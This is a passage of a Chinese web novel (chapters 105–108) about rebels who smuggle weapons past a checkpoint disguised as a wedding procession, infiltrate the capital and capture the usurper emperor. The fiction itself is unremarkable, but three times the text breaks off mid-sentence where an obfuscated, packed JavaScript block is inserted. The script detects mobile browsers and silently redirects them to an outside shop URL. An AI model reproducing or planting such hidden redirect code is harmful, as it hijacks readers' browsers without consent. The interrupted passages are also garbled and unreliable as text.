援军参将犹豫片刻,低声道:“拦下来查一查。” 骐州参军应了声是,随即从树丛中现身,向山下不远处喊道:“喂!停步!例行搜查!” 奏乐的人们闻言接连停住动作,喜庆的音乐停在半截,留了个乱七八糟的尾巴。 骐州参军点出一队兵士,随他一起来到山下。 这支送亲队伍里,费杏林最为年长。她扮作媒婆的样子,笑着走到骐州参军面前,行了个福礼。 “见过军爷。”费杏林从袖中掏出一块银锭,悄悄塞到他手中,“您要搜查,我们自然配合。只是还请军爷们动作稍稍快些,别误了我们姑娘成亲的吉时哟。” 骐州参军轻咳一声,避着身后的人把银锭藏入怀中,高声问道:“你们是哪里人?要去哪里成亲?” 费杏林道:“回军爷,这姑娘是玉州人氏,老婆子我是京城人氏,受她夫家之托,来接她进京成亲呐。” 骐州参军点了点头。 玉州人……嗯,玉州就在骐州和瑾州的南边,若要赶往京城,确实会路过此处。 骐州参军接着试探道:“东边有叛军,你们没听说吗?不老老实实在城里待着,还敢贸然往外跑?” 费杏林一拍大腿,啧啧道:“您说的正是呢!我们就是因为听说了东边闹叛匪,怕过几日闹到玉州城来,所以才特意提前了婚期,想着早早把姑娘接过去,大家也好图个心安。” 骐州参军又问:“你们这一路上,就没见到叛军?” 费杏林噗地笑出了声:“瞧您这话说的,我们要是见到叛军了,还能活着走到这来吗?” 骐州参军也笑了笑,但并未完全放下疑虑。 他抱着臂看向花轿后方的几辆马车,意有所指道:“嫁妆不少啊,你们就没雇些镖师陪着?万一在路上遭人抢了可怎么好。” 费杏林仍然笑着:“嗐,我们老爷信不过外头的镖师,专门派了自家的护卫来接人。您瞧,那几个拿刀的就是。” 骐州参军唤来那几个护卫,拿起他们的刀仔细观察一番,见那只是最普通的佩刀而非军刀,便将注意力转到了那些嫁妆箱子上面。 “这些箱子,我等需要一一验看。” 费杏林表情一滞,目光扫向身侧的马车。 这些箱子里,装的可都是兵士们所用的陌刀和甲胄啊…… 105. 假新娘骄横放大话,旧相识传信露…… 费杏林见势不妙,马上走近花轿,对窗言道:“姑娘,军爷们要开嫁妆箱子一一查验,您看……” 话说一半,窗帘便被人猛地从里掀开,露出轿内女子满带愠怒的面庞。 “呸!你这老妇,打量蒙我呢?”江御暮捏着一副尖酸声线,“还当我是月科里的孩子,看不穿你们一路上玩的这些把戏吗?” 此话一出,骐州参军便在心中暗叹:也不知是哪家娶亲,竟娶了这样一个悍妇。 费杏林不知江御暮打算如何应对眼前的难题,只能顺着她的话茬往下接,一脸委屈道:“姑娘这话怎么说来?我们一路上伺候您伺候得还不够精心吗?” 江御暮又呸一声,怒气冲冲道:“别以为我不知道,你们和这几个大头兵早就串通好了!半道上装什么例行查检呀?我看你们就是为了磋磨我,折辱我!” 骐州参军听她这样一说,脸色马上变得难看了许多,不悦道:“胡扯!本将与他们素不相识,岂有串通之理?” “好一个素不相识!”江御暮随即挪动目光,对骐州参军怒斥道,“普天之下,谁不知你们这几盘菜都是任我公爹调遣的!他一声令下,你们就鞍前马后。” 骐州参军闻言一愣,心道:天晓得她公爹是谁? 趁他怔愣之际,江御暮眼珠一转,佯装恍然大悟道:“呵,我算是想明白了。我公爹派你们半路拦轿,就是为了探明我家出了多少嫁妆吧?若是合他的意,婚事便照常进行。若是不合他的意,你们就可以随便找个理由,搅黄了我的亲事!” 说到最后,她甚至哭了起来,连声责骂夫家阴险狠辣。 骐州参军原本可以下令强行开箱,但是考虑到她方才所言,话里话外都道夫家身份特殊,他又不得不有所顾虑。 “哎,你们家老爷到底是谁啊?”他把费杏林拉到一边,低声问道。 费杏林正不知该如何回答,就听不远处的江御暮又叫骂起来:“还说你们不是早有勾结?瞧瞧,如今连说句话都不敢当着我的面说,还不知背地里又琢磨着给我下什么绊子呢!” 费杏林得她解围,连忙回身道:“姑娘误会了,军爷只是在问老爷的身份。” 江御暮冷哼一声:“我不信他不知道!” 骐州参军气不打一处来:“本将知道个——” 他本想说“知道个屁”,话说半截,又怕她公爹是京中权贵,于是生硬改口道:“本将知道个——什么啊?” “不会吧?”江御暮轻蔑一笑,从轿内探出头来,将胳膊搭在窗沿上,居高临下道,“兵部尚书的长子娶亲,你们难道没听到风声?也没送贺礼?” “兵部尚书?!”骐州参军无意识地睁大了双眼,继而垂眸喃喃,“兵部尚书……” 兵部尚书位高权重,为防瓜田李下,与地方参军少有私人往来。骐州参军只知他的姓名,连具体的年岁都不太清楚,更不知他的长子是否将于近日成婚。 不过……如果真是高官之子娶亲,送亲队伍里有这么多人便能说得通了。 可是问题就在于—— “小姐既说您是兵部尚书的儿媳,不知可有明证?” 江御暮仿佛听到了天大的笑话,连声冷笑道:“你要明证?好啊,那就随我们一同入京。公爹若问,我便说你是我刚认的干儿子。老娘我请你好好喝一壶喜酒,如何?” 此话一出,近旁几名小兵险些没憋住笑,脸色愈发涨红,深吸了几口气才把笑意压下去。 骐州参军虽在下属面前丢了面子,却是敢怒不敢言,心道:这女人泼辣刁蛮至此,估计真是傍上了权贵,否则怎敢如此骄横? 为免得罪兵部尚书,骐州参军只得放低姿态,行至轿边对江御暮低声道:“小姐见谅,末将无意冒犯于您,只是听命行事,身不由己啊。” 江御暮挑了挑眉:“哟,听你这意思,今日我这些嫁妆箱子你们还非开不可了?” 骐州参军连忙摇摇头:“您看这样如何?这些箱子原封不动,末将自己去每辆马车上走个过场,假装查验一番。左右有车厢挡着,外面的人也看不出异常。” 说着,他微微偏头朝山腰方向投去一瞥,又对江御暮使个眼色:“只要您让末将能跟上头交差就行。” 江御暮作势思索片刻,勉为其难道:“也罢,我便卖你这个人情了。” 骐州参军面上挂着微笑,心里却叹起了兵部尚书有此儿媳,真是家门不幸。 得到江御暮首肯,他便依次登上几辆马车,假模假式地检查一番。纵然他想偷偷假戏真做也没有机会,因为那些箱子都被锁住了,他身上又无撬锁的工具,只得作罢。 演完这出独角戏,骐州参军回到花轿旁,对江御暮笑道:“恭贺小姐大喜,列位接着赶路吧,切莫误了吉日。” 费红英心中巨石终于落地,挥着手绢招呼道:“奏乐!” 喜庆的乐声再度响起,骐州参军带人回到山腰上,对援军参将笑道:“查过了,没问题。” 援军参将并未起疑,只是聊着聊着就生起闷气来—— 好个兵部尚书,给儿子娶媳妇的排场如此之大,当真舍得花钱呐。为何偏偏把他们的军饷一减再减,一拖再拖?哼,真不是个东西! …… 一路无碍,众人顺利来到骐州城附近,但并未进城,而是从郊外的小路绕行而去,直奔京城。 又过几日,这支送亲队伍行至京郊,终于在双瑛布庄的大门外停了下来。 护院觉得奇怪,便去询问情况。 一名护卫打扮的年轻男子走上前来,没有多加解释,只从怀中取出一封书信递给对方:“烦请阁下把它转交给林庄主,她一看便知其意。” 林晏秋拿到此信,尚未拆开,只看信封上“林晏秋亲启”五字的笔迹,双手便不受控制地微微颤抖起来。 陶瑛见状,便也凑近了去看,只扫一眼便惊呼道:“这、这笔迹——” 二人对视一眼,继而手忙脚乱地撕开信封,匆匆读完后简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104638|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直不敢相信自己的眼睛。 “他没死……归衡他没有死!”林晏秋压着声音,几乎便要喜极而泣。 陶瑛笑中带泪:“这些日子,咱们可是错恨御暮了。” 林晏秋似是被这句话提醒了什么,眸中笑意渐渐褪去,低声道:“不,咱们不能高兴得太早,万一这只是她的混淆视听之计呢?” 陶瑛也觉得此话有理,便提议道:“既然现下他就在庄外,咱们只要见上一面,便知真假。” 林晏秋定了定神,表情恢复如常,唤来护院吩咐道:“让他们进来吧。” “是。”护院应声后转身欲走。 “等等!”林晏秋忽又将他叫住,改口道,“先让旁人在外头等等,只请送信的那人进来便可。” 护院领命而去,不多时就把燕识风带到了内院之中。 “见过林庄主,见过陶夫人。” 他顶着一张全然陌生的脸,说话的声音却十分熟悉,毫无破绽,倒让她们一时判断不出真假。 忆及他在信中提过易容之事,林晏秋便屏退仆役,将他带进了屋内。 燕识风迎着她们狐疑又满含期待的目光,一点一点卸下了面上的伪装,露出真容。 陶瑛看罢,泪意又涌了上来:“真的是你——” 她正要向他走近,却被林晏秋拉住了。 “我们怎能确认,你现在这张脸不是第二层易容?”林晏秋警惕道。 “就知道你会这般问。”燕识风叹罢,向前走去几步,“你们若不信,大可自己验证一番,看看我这张脸是真是伪。” 林晏秋也不客气,直接伸手捏住他的脸颊,用力揉捏两下才放开。 燕识风颊边霎时被捏得泛白,林晏秋松手后,他面上又慢慢浮出一层浅红色的印痕。 “如此验过,你们可相信了吧?”他笑着问。 林晏秋嗤了一声,见他满面笑容,不禁后知后觉地生起气来。本想拉个架势好好训他一番,奈何眼泪止不住地往下流,一点气势都没有了。 “你、你——” 林晏秋抬手指着燕识风的脸,手指不停颤抖着,最后化成一个巴掌,本想重重扇他一下,终究还是没狠下这个心。 “你既活着,为何不早早传信告诉我们?这些日子,你可知我们为你流了多少眼泪!” 燕识风面露愧色,解释道:“军中规矩严明,不得随意走漏消息。而且……太子穆归衡确实已经身死,如今回来找你们的人不是他,而是陶瑛姐的表弟,燕识风。” 林晏秋默默望他良久,却是一言不发,扭过头去叹了口气。 燕识风赔着笑轻拽她的衣袖:“别生气了,阿姐。” 二人虽已各自改换身份,却终究是一母同胞的姐弟,这个称呼总能让她心软。 “闲时不烧香,急来抱佛脚。”林晏秋白他一眼,抱臂道,“燕少侠今日来访,只怕是有事相求吧?” 燕识风讪讪一笑:“知我者,阿姐也。” 106. 江御暮进京寻逃犯,陆小玉入府见…… 有林晏秋相助,兵士们顺利在双瑛布庄落了脚。对外只称林庄主新纳一房小妾,他们都是来帮忙筹备喜事的工匠。 “我们这地界有限,厢房实在不够,只能委屈各位在这几处库房里搭床暂住了。” 林晏秋安顿好众兵,又私下向燕识风问起:“你和御暮怎么安排?分住还是合住?” 未等燕识风回答,陶瑛便抢答道:“不用咱们费心,御暮还有旁的事要忙,方才跟我匆匆见了一面便走了,说是要入京去,不在咱们这住。” 满京城里随便挑出十个人,少说也有一半认得江御暮的长相。为防生出事端,她提前改容易貌,连说话的声音都作出了调整。 入城时,城防兵依例盘查过往行人,叫住她问道:“你是何人?何故入京?” 江御暮放软声音,柔柔道:“民女陆氏,入京投奔亲戚来。” 那小兵又问:“你亲戚是哪门哪户?” 江御暮垂眸微微一笑:“不知是哪门哪户。我娘说,只要我跟军爷们提起堂兄的姓名,列位便知他是谁,也许还能带我去找他。” 那小兵不由好奇:“你堂兄是何人?” 江御暮与他对视着笑道:“是陆一峰。” 那小兵闻言,噗地笑了一声,心道:陆队长家的亲戚还真多,前些日子来了个表妹,今日又来了个堂妹。 “如何,军爷可认得他么?”江御暮问。 那小兵挠了挠头,为难道:“认得倒是认得,但他今日轮的是巡逻岗,满京城转悠着呢。我并不知他此刻具体身处何地,只怕没法带你去找他。” 江御暮先是面露失落,继而问起:“那您可知他家住何处?此刻嫂子应该在家,我直接去找她便是。” 那小兵不疑有他,直接把陆一峰家的详细地址告诉了江御暮。 “多谢军爷。” 江御暮甜甜一笑,转身加快脚步入城去了。 一进京城,她就在布告栏上看到了一张通缉令。 被通缉的不是旁人,正是国师飞鸿影。 通缉令上直言国师犯下了“通敌叛国”之罪,新帝为之震怒,下令在全国范围内搜捕此人,便是掘地三尺也要挖出此贼。活要见人,死要见尸。 江御暮之所以去找陆一峰,也是想请他帮忙找到费红英的踪迹。 她们早先说好了——费红英从穆归礼眼皮底下脱身以后,不必外逃,只需大隐隐于市,在京城找个地方藏好即可,江御暮回京后自会主动去找她。 既然这些通缉令还在,就说明费红英尚未被捕,现在应该还是安全的。 江御暮松了口气,继续前行。路过杏林医馆时,她佯装随意投去一瞥,见那铺子已然被查封了,门口还守着两名禁军。她连忙收回目光,步履未停。 路过点心铺子,江御暮还进去买了几盒最贵的糕点,而后才继续赶往陆宅。 陆一峰家离杏林医馆不远,是一套小宅子,约莫只有江御暮自家偏院的四分之一大小。 江御暮敲响院门,柔声道:“有人在吗?” 话音一落,院内便响起一阵脚步声和关门声,似乎是什么人不想见客,躲回屋里去了。 不多时,一名三十岁上下的妇人跑了过来,将院门打开一小半,只探出头肩来,询问道:“姑娘,你找谁?” 江御暮明知故问:“这里是陆一峰,陆大哥家吗?” 那妇人便是陆一峰的妻子,名唤齐雪茹。她点点头:“正是。不知姑娘是……?” 江御暮面上浮出笑意:“您就是嫂子吧?我是陆大哥的堂妹,不知方不方便进去说话?” 齐雪茹有些犹豫,没听说陆一峰有个堂妹呀。难道……是八竿子打不着的远房亲戚?但若关系太远,这亲戚怎么会突然找上门来呢?他们家又没得秋风可打。 江御暮见她迟疑,便捧起手中的点心盒子,笑道:“嫂子,这是我给小侄女带的见面礼。一点心意,您先收下吧。” 常言道,伸手不打笑脸人,更何况人家还带了礼物来,齐雪茹纵然心有疑虑,也不好把她拒之门外。 江御暮这便顺利进了陆宅,被齐雪茹迎入厅堂吃茶。 齐雪茹的女儿乳名月莺,年方八岁。一见家里来了客人,月莺便也想凑个热闹。 齐雪茹摸摸她的脑袋,温言教引道:“来,这是你堂姑,快叫人。” 月莺起初有些害羞,被江御暮拿着点心逗了逗,很快就开口叫人了。 齐雪茹抱她坐在自己腿上,继续教道:“还不谢谢姑姑?” 月莺咽下口中的糕点,对江御暮道了声谢,继而扭头问齐雪茹:“娘,就咱们三个人吃点心,不给表姑吃吗?” 江御暮闻言看向齐雪茹:“这么巧,堂兄的表姐妹也在府上?” 齐雪茹脸色有些不自然,干笑两声道:“前两日有个表妹来过,只住了一晚便走了。月莺当时正睡着懒觉,并不知她已经离开了。” 齐雪茹实在不擅长撒谎,心虚全都表现在了脸上。月莺原本还想反驳母亲——表姑不是就在咱家吗? 幸而齐雪茹眼疾手快,捏起帕子去擦月莺嘴角的糕点残渣,一串动作成功引走了小姑娘的注意力。 但这却引来了江御暮的怀疑——表妹走亲戚原是常事,有什么可撒谎隐瞒的呢? 想到这里,她不由忆起方才敲门时听到的那一阵脚步声。 难道这个“表姑”就是不愿、或不敢见客之人,此刻就藏在其他屋子里? “原是如此。”江御暮佯装未察,笑道,“嫂子放心,我也不会在此久留。等堂兄回来,我与他见一面,叙叙旧便走了。” 齐雪茹怕她生出误会,连忙解释:“这怎么话说的?我绝没有不愿留你的意思。哎哟哟,瞧我这张嘴,真不会说话!” 此时刚好已近午饭时间,齐雪茹连忙起身道:“妹子,今日你可一定要留下吃饭,正好你堂兄也快回来了。待他闲下来,一定带你好好在京城转一转,玩一玩。” 江御暮没有推辞,也站起身来客气道:“嫂子,我帮您一块做饭吧。” 齐雪茹摆摆手:“不用不用,让月莺给我打下手就行。” 其实这就是个幌子,她只是想把女儿带走,免得她在客人面前再说漏了嘴。 江御暮自然能看明白这份心思,于是劝道:“嫂子,月莺还小呢,厨房里有刀有火,我怕伤着她。” 她这么一说,齐雪茹也有点犯怵,难免犹豫起来。 江御暮继续劝道:“不妨这样,您先去忙,我在这陪月莺玩一会。或给她讲几个故事,或教她识几个字,如何?” 齐雪茹想了想,既然江御暮不是外人,那应该不会出什么差错。 “也好,那就麻烦你了。” 齐雪茹姑且放下心,去厨房忙活午饭。 江御暮与月莺面对面坐下,以桌面为纸,以茶水为墨,正儿八经教她认了几个字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115063|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这个字是——娘。” “这个字是——爹。” “这个字是——姑。” 教到这里,江御暮又在“姑”字前面添上一个“堂”字,继而在下方写上自己的假名“陆小玉”,依次教月莺认下。 做完这些铺垫,她总算可以进入正题了。 江御暮紧接着在一旁写下“表姑”二字,问道:“月莺,你猜猜,这是什么词?” 月莺扒着桌沿思索片刻,猜道:“是表姑!因为第二个字和堂姑一样!” “嗯,真聪明。”江御暮笑着夸她一句,而后问起,“表姑叫什么名字呀?我写出来教你认一认。” 月莺不假思索:“费小桃,桃花的桃!” 听到这个名字,江御暮先是一惊,很快便难以自抑地欣喜起来。 她极力控制着情绪,尽量让自己显得不那么激动。 现在只知一个名字,还没有百分百的把握,得继续试探试探。 江御暮握住小姑娘的手:“月莺,你更喜欢堂姑还是表姑呀?” 月莺咬着嘴唇,一时不知该如何回答这个问题。 江御暮继续引导:“堂姑可是给你买了许多糕点哦,表姑为你做过什么吗?” 月莺低垂着头,声如蚊哼:“表姑也很疼我,还给我看病,给我熬药……” 听到这里,江御暮终于有七八分确定了。 “月莺,你跟姑姑说句实话。”她深吸一口气,直视着月莺的双眼问道,“这位小桃表姑,此刻就在你家中,对不对?” 月莺点点头,正要说些什么,外头的院门便被人敲响,打断了她的话语。 “是我,开门吧!” 那是陆一峰的声音。 月莺一溜烟跑去打开了院门,陆一峰很是谨慎,进院以后立即扣好门栓。 “爹,堂姑来看咱们了!”月莺兴冲冲道。 “什么堂姑!?”陆一峰的脸色立时严肃起来,“现在人在何处?” 月莺甚少见到父亲这般模样,有些被吓到了,没有出声,只用手指了指厅堂的方向。 江御暮闻声走到院中,远远对上陆一峰警惕的眼神。 “许久不见,陆兄可还安好?” 陆一峰听到这个熟悉的声音,再仔细看看她陌生的脸,一时不知是何状况,只得先把女儿支走,然后再问:“你是何人?” “陆兄不记得我了吗?” 江御暮走到他近前,从袖中取出一颗铜珠。 “那么陆兄,你可还记得它?” 陆一峰接过铜珠细看一番,随即把它握入掌心藏好,压低声音道:“您是——江小姐?” 江御暮没有回答这个问题,只移目看向偏厢房,轻声道:“陆兄竟敢窝藏逃犯,胆子可真够大的。” “您是说小桃姑娘?”陆一峰知道,在江御暮面前无需隐瞒这些,“她也是逃犯吗?卑职还以为只有费大娘是逃犯呢……难不成,她们都是您的部下?” 江御暮顿了顿,玩笑道:“谁说她们了,我说的是我自己。” 陆一峰笑了笑:“您可不是逃犯,是匪首。” “哦?”江御暮慢悠悠向前踱步,“你明知我是匪首,却不立即向朝廷告发,反而在此与我谈笑风生,岂非通敌叛国之举?” 陆一峰向偏厢房投去一瞥,坦言道:“从收留小桃姑娘那一日起,卑职不就已经上了您的‘贼船’吗?” 107. 齐雪茹拾珠窥秘事,费红英面圣出…… 齐雪茹忙碌半晌,做好饭端上餐桌,环顾四周却不见江御暮的踪影,便问陆一峰道:“堂妹呢?你们见了么?” 陆一峰一边盛饭一边答道:“见了。她还有事要忙,就不留下吃饭了。” “这便走了?”齐雪茹有些意外,“我还专门多做了几个菜呢……” 月莺跃上椅子,拉住母亲的手晃了晃,抬头道:“娘,小桃表姑不来吃饭么?” 齐雪茹这才想起来这一茬,正打算让月莺去叫人,陆一峰却摆摆手道:“不必去叫,小桃也走了。” “何时走的?” “就是方才,跟堂妹一起走的。” 齐雪茹闻言一愣,扶着桌子慢慢坐下,隐隐有些心慌。 陆一峰告诉过她,这位表妹其实不是表妹,而是恩人费大娘的女儿。也不知怎的,皇帝竟查到了费家与江家曾有密切往来。 因怕她流落在外会有危险,他们才收留了她,对外只以亲戚相称,连月莺都不知道实情。 可是,小桃为什么会突然跟陆一峰的堂妹一起离开呢? 齐雪茹越想越好奇,当着月莺的面,又不好直接问,只能拐弯抹角地打探道:“一峰,这位堂妹陆小玉是你家哪脉亲戚?我从前怎么从未听说过?” 陆一峰往嘴里猛塞两口饭,借此拖延时间,思忖该如何回答这个问题。 江御暮说过,事成以前务必守好秘密,多一个人知道内情,便多一份走漏风声的危险。 陆一峰虽然信得过妻子,却也不想让她担心,于是胡扯道:“哎呀,其实她不是我的堂妹,是我雇来的镖师,负责把小桃平安送回家乡。我怕忽有生人来访,你不让她进门,所以才让她假称是我堂妹。” “胡扯。”齐雪茹白他一眼,“咱家哪来的钱雇镖师?” 陆一峰愣了愣,找补道:“是小桃自己出的钱。” 齐雪茹没有多问,只是心里仍旧存着个疑影。 晚上收拾屋子,她随手拎起丈夫今日所穿的衣裳,抖了抖灰,忽然听得轻轻一声响动,似是什么东西掉落在地,还滚出了一段距离。 齐雪茹捧着油灯满地寻找,很快就找到了一颗铜质圆珠。 那珠子两头开孔,似是穿在什么链子上的,齐雪茹越看越觉得眼熟,细细想来,不禁倒吸一口凉气,连忙用手捂住嘴,这才没发出一声惊呼。 几个月前,陆一峰去江府求助那日,就曾带回一颗一模一样的铜珠,还说这是江家大小姐江御暮给他的,以它为凭,杏林医馆的费大娘就会帮月莺医治顽疾。 但是当初那颗铜珠,陆一峰早就交给费大娘了,并未留在身边。这次这颗……又是怎么回事呢? 此时陆一峰正好洗完澡回到屋中,见妻子神情有异,便搂过她的肩问道:“怎么,谁惹你不开心了?” 齐雪茹眸光低垂,微微颤抖着拉过他一只手,把那颗铜珠放进他掌心,继而帮他握紧拳头。 “笨死了,你不想让我知道,倒是找个地方把它藏好了呀!”齐雪茹抬眼对上他的目光,“幸而这次只是被我发现了,若是在外头让人瞧见,我看你如何说得清楚!” 陆一峰讪笑两声,看来无需再瞒,她已经猜到答案了。 齐雪茹搂紧他的腰,把脑袋埋在他颈边,轻声问道:“你们要做的事,会有危险吗?” 陆一峰向她保证:“绝对没有。” 他只是负责放人进京而已,能有什么危险呢? …… 次日夜半,穆归礼辗转反侧久久无法入眠。 睡前读了一份刚从骐州送来的军报,读得他有火发不出,有气咽不下。 自从瑾州失守,骐州上下便严阵以待,朝廷的援军也去了不少。时至今日,他们还在叛军的必经之路上埋伏着,却迟迟等不到叛军出现。骐州按期往山里输送粮草,已经快把粮库掏空了,故而送来军报,向朝廷求援。 穆归礼登基不久,皇位尚不安稳,朝中亦是人心浮动,连个可用的智囊都没有,叫他如何处理这样棘手的问题? 每每想到此处,他都要翻来覆去地咒骂飞鸿影——朕待他还不够好么?他究竟为何要蒙骗朕!背弃朕! 正如是想着,寝殿外忽有一名禁军队长求见,说是有要事禀报。 他原是安王府的护卫,纵然深得穆归礼宠信,也从不曾在深夜求见。看来,他带来的消息一定很重要。 穆归礼生怕这个消息是来自军中的噩耗,又不能不听,只得让那人进来回话。 出乎他意料的是,那人进殿时满面喜色,开口便道:“恭喜陛下!贺喜陛下!” 穆归礼忙问:“喜从何来?” 那人十分激动:“是钦犯!钦犯抓到了!” 穆归礼倏地站了起来,竹筒倒豆子般丢出一连串问题:“哪个钦犯?飞鸿影吗?何人抓到的?在哪抓到的?” 那人连连点头:“陛下所料不错,正是飞鸿影!而且是时异亲自抓到他的。至于在哪抓的,时异并未跟卑职详述,说是要当面向您禀报。” “时异?他回来了!”穆归礼更为惊诧。 这么久都没收到时异的消息,他还以为这小子身份暴露,被人灭口了呢! “回来就好,回来就好。”穆归礼自言自语般喃喃道。 他身边值得信任的可用之人不多,时异现在虽然只是小小护卫,未来却是大有可为。 更重要的是,穆归礼可以十足确信——时异一定不会背叛他。 “快,带他们过来见朕!” 不多时,“时异”就带着被五花大绑的费红英走进了寝殿。他先给穆归礼行了个礼,起身后一脚踹上费红英腿弯,强迫她跪在了穆归礼面前。 穆归礼快步走近费红英,用力掐住她的下巴,逼她与自己对视,继而猛地扯下她的蒙眼布,扔到地上狠狠踩了一脚。 费红英双眼紧闭,任他如何命令都不睁眼。 穆归礼怒意更盛,决定一会再好好教训此人,转而向时异问道:“你是在哪抓到他的?” 时异哑着嗓子道:“回陛下,在叛军的大营里。” 穆归礼闻声一惊:“你的嗓子怎么了?” 时异叹气道:“江御暮那毒妇给卑职下了药,卑职若一直效忠于她,便能定期得到解药。但卑职前不久发现飞鸿影与她有所勾结,实在顾不得这许多了,只想着尽快把人抓回来交由陛下处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128450|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置。如今服用解药的时限已过,卑职已然毒发,幸而现下症状尚轻,卑职还能说话。再过几日,卑职便要五感尽失了。” 费红英虽能用药物短暂改变人的声音,却无法保证这种声线与时异完全一致。为免穆归礼听出破绽,还不如换种方式伪装,顺便在他面前卖卖惨,博取一些同情和怜惜。 穆归礼听罢果然没有起疑,甚至还有几分感动。 紧接着,他再度看向费红英,双手攥住她的衣领咬牙道:“你若能解此毒,朕便留你一命。” 费红英轻蔑一笑:“你自己的命都快留不住了,有什么资格跟我谈条件?” 穆归礼冷哼道:“别指望江家那股叛军能成什么事!如今你已然被擒回京,她们却远在千里之外,纵有天大的本事,也救不了你的性命。” 他话音刚落,费红英便笑了起来,笑声一时不绝,引得穆归礼一阵心慌。 “谁指望她们来救了!”费红英睁开双眼,第一次真正地与他对视,“我效忠的人,从来就不是江家母女呀。” 穆归礼的思绪愈发混乱,难以判断她哪句是真,哪句是假,只能继续质问道:“你主子到底是谁!” 费红英冷冷盯着他的双眼:“你的五皇弟,穆归衡啊。” 穆归衡嗤笑一声:“指望死人来救你,你莫不是失心成疯了?” “死人?”费红英阴恻恻地冲他笑,“你亲眼见到他的尸体了吗?” “尸、尸体……?” 是啊,穆归衡的死讯传入京城已过许久,为何他的棺椁一直没有送到京城? 费红英一看他的表情,便知自己此言奏效,于是趁热打铁道:“你可曾听闻‘借尸还魂’一说?” 此话一出,穆归礼霎时想起纪青元三番五次“显灵”之事,向后踉跄几步,强装镇定道:“不、这不可能!你休想再诓骗朕!” “你当然可以不信。”费红英继续吓唬他,“反正明日一早就能见分晓了。到时候,满朝文武都会惊讶于先太子的死而复生。” 穆归礼见她说得笃定,心里越来越没底,只能自欺欺人道:“笑话!朕已然登基,纵然他一朝归来,又能奈朕如何?” 费红英不紧不慢道:“新帝若无过错,先太子自然无可奈何。但是穆归礼,你,可是弑父弑君的罪人啊。” 时异适时插话:“什么,弑父弑君?” “你别听这厮胡说!”穆归礼连忙为自己遮掩,“是父皇自己得了急病,与朕无关!” 费红英咄咄逼人:“真相如何,你自己心里清楚。” “闭嘴!”穆归礼扑上来掐住她的脖子,“再说一句,朕现在就要了你的性命!” 费红英无所谓地一笑:“好啊。杀了我,你就别想知道先太子现在何处了。” 穆归礼手上力气更重,嘴硬道:“你不告诉朕,朕也有办法找到他!除掉他!” 费红英被掐得满面通红,竭力说道:“来……来不及了……此刻……此刻……” 穆归礼见她不再往下说,连忙松开手,逼问道:“此刻如何!?” 费红英猛烈咳嗽几声,倒在地上含笑道:“此刻,他已然踏入皇宫了。” 108. 先太子显灵开暗门,旧宫院闹鬼传…… 听到费红英这样说,穆归礼的第一反应便是:“不可能!四处宫门全部由禁军严密把守,他不可能闯得进来!” “哦?是吗?”穆归衡的声音忽然从他身后传来。 穆归礼后背一凉,猛地回身看去,却没有看见他的踪影。 “你、你到底是人是鬼?” 穆归礼无意识地向后退去几步,双腿软得几乎便要摔倒在地。 那声音仿佛从地底传来,使闻声者无处可逃。 “穆归礼,本殿今日便要为父皇报仇!” 穆归礼闻言如遭雷击,后退的步伐越来越快,越来越乱,甚至几度被自己绊倒。 他手脚并用爬起身来,逃也似向寝殿外跑去,不料双手刚碰到门板,就感到后颈一痛,旋即眼前发黑,昏了过去。 劈晕他的人正是“时异”,或者应该说,正是江御暮。 “都这样了,居然还吓不晕他,非得我亲自动手。”此刻药效未过,她的声音依然沙哑。 语毕,江御暮又跑去费红英身边,帮她松了绑。 “方才也太悬了,他若真把你掐死了可怎么好?” 费红英低声笑道:“我就不信,你会眼睁睁看他掐死我,却不出手相助。” 江御暮无奈地撇了撇嘴:“亏得你命大。” 费红英拍净衣上尘土,起身环顾四周,似乎在找什么东西。 “别看了,暗门不在墙上。”江御暮走到床边,俯身去看床底。 光线太暗,她看不清其内状况,索性趴在地上钻进床下,双手往前探寻,很快就摸到了一处锁眼。 江御暮从袖中取出一把钥匙,摸索着插入锁眼,轻轻一拧,暗锁立时应声而开。 “行了,上来吧。”她攥拳敲了敲几乎与地板融为一色的暗门。 藏身于其下的燕识风用力向上一推,便推开了暗门,顺利进入寝殿。 这道门,这把钥匙,曾在数年之前帮助林晏秋成功逃离皇宫。今时今日,它终于再一次派上了用场。 “接下来怎么做?”燕识风问。 江御暮走到穆归礼身边,取下他腰间所挂的令牌,在掌心里轻轻一拍,微笑道:“先把宫里的禁军侍卫搞定再说。你们俩留在这守住穆归礼,我去去就来。” 费红英忙问:“万一你还没回来,他就先醒了,我们该如何应对?” 江御暮不假思索,云淡风轻道:“杀。” 燕识风不解道:“为何不现在就杀了他?” 江御暮回头看他一眼:“现在杀,便是让他做个糊涂鬼。醒了再杀,便是让他做个明白鬼。看你怎么选了,我无所谓,反正都是你动手。” 